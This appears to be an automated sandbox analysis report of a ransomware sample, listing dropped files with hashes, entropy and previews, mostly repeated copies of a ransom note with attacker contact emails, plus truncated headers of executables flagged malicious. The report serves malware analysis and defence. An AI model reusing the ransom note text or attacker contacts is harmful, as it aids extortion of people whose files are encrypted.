                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):64
                                                                                                                                        Entropy (8bit):1.1510207563435464
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Nlllulm/h:NllUm/
                                                                                                                                        MD5:99BF7E5AC393B94FA00AF2633B36F459
                                                                                                                                        SHA1:3EF3794E2F36781FC998332AA352F1E9F4A04D16
                                                                                                                                        SHA-256:70D7DADBB347ECF2CE4E855AE88EB46AA0614BE58A89FDC37E02600E4B3AB01F
                                                                                                                                        SHA-512:520661786E7DB09C48315919BA2B78A92B34F4C7A25BEACFE9D5E253992E867212AED8041D4A7ECC003A444A962EF7E6140662A859437782D2C94CDADDC9704E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:@...e.................................*..............@..........
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):60
                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                        Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):902856
                                                                                                                                        Entropy (8bit):6.618307623021751
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12288:I2wMm7l55+OeO+OeNhBBhhBBaELPA081o9baXpL3K+HDFgZUid4X9dCU5+Kazw4t:I2wMm7lfCIL3K+gY9dfcw4h3DX9X1
                                                                                                                                        MD5:9049FABA5517305C44BD5F28398FB6B9
                                                                                                                                        SHA1:036C6B32F3E7D7D689C9B4D482091EEBCC669BFA
                                                                                                                                        SHA-256:D2100FFE58EB50C05D97A3DA738CCD1F0BE9672C057C26A10140AF80595B78C3
                                                                                                                                        SHA-512:65A33506F970675775468F80B94A3F8BB2D3672E6FB08FC9F2E5107020095CA6D4BCA927C59B72488E2EF4208A64A56CED7511EA14C0445CD50EA3FF9B827F6A
                                                                                                                                        Malicious:true
                                                                                                                                        Antivirus:
                                                                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{h.............x......x..r...x......o......o......o......o......x......x..........q....o.......o...............o......Rich....................PE..L.....\g.....................$......<.............@.......................................@..................................K...........q...............(...`......0b..p....................c.......b..@...............0............................text............................... ..`.rdata.............................@..@.data...l....`...^...F..............@....rsrc....q.......r..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):211656
                                                                                                                                        Entropy (8bit):6.682260957753181
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY
                                                                                                                                        MD5:FCCD129F6A5B9D2133D14922A3614F02
                                                                                                                                        SHA1:E814C637E6F0C21F3AA9B43FB92CB161B4D451FC
                                                                                                                                        SHA-256:4B4A87552C44158FB53A72C7294319B0DDDE9F99F460425AD5997D3B9121CD1E
                                                                                                                                        SHA-512:C1594504053BBE2B061880D1FF69819ECA8BDD2BC882B74F415FF8A1515389E32B8D7CD1B931D65B042247FD05DF1751A000D6DA4219427B74E9CDB0E0E52979
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.B.5.,.5.,.5.,.F./.8.,.F.)...,.F.(.#.,.g.(.:.,.g./. .,.g.).p.,.F.-.6.,.5.-.J.,...%.7.,....4.,.....4.,.Rich5.,.........................PE..L.....\g...........!................v~.......................................@............@.....................................(........................(... ..........p...............................@...............8............................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.15450689686972
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:KUjXdmtKoAlAvbVkQ1EyQF7GICF2myWT9c6MaC2C6T8z/H7fpFwn:KUjXKc0bOGED9GICFXjMaC2C3f4n
                                                                                                                                        MD5:5768A49C7579DDAC70E66AEE6DCA79E1
                                                                                                                                        SHA1:9C69F1E2E37764933561D6051F303774516D4DBF
                                                                                                                                        SHA-256:6A665533FF48D873A566FDF1F1E3B077C424F27EE28AC61505FC0AB2D0B398D2
                                                                                                                                        SHA-512:27E8743841F2F72487BDA621EF6D3EB115B596D388AA45E1E2045D22C716DA6A6E24AA71E6C3A7230986E0D7DF1944EA70FADCA88087135E331E3FF9A602FA08
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..5d..B{a.f.c=..........f...;.]..<....2...M....\........#.~..d...;..].u....-.S.Vh.e....V.l.<..[.Jp...)........i.~..1...-....Rhb...5h......%.N. .b........K6.7.&.U>%...\.W=4...5T.}.<.7..X....]/.J....C-..S*.p%.%O,.7..g<......+.>oF....Yi.W.._.\v..>.}..W.......r.O.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
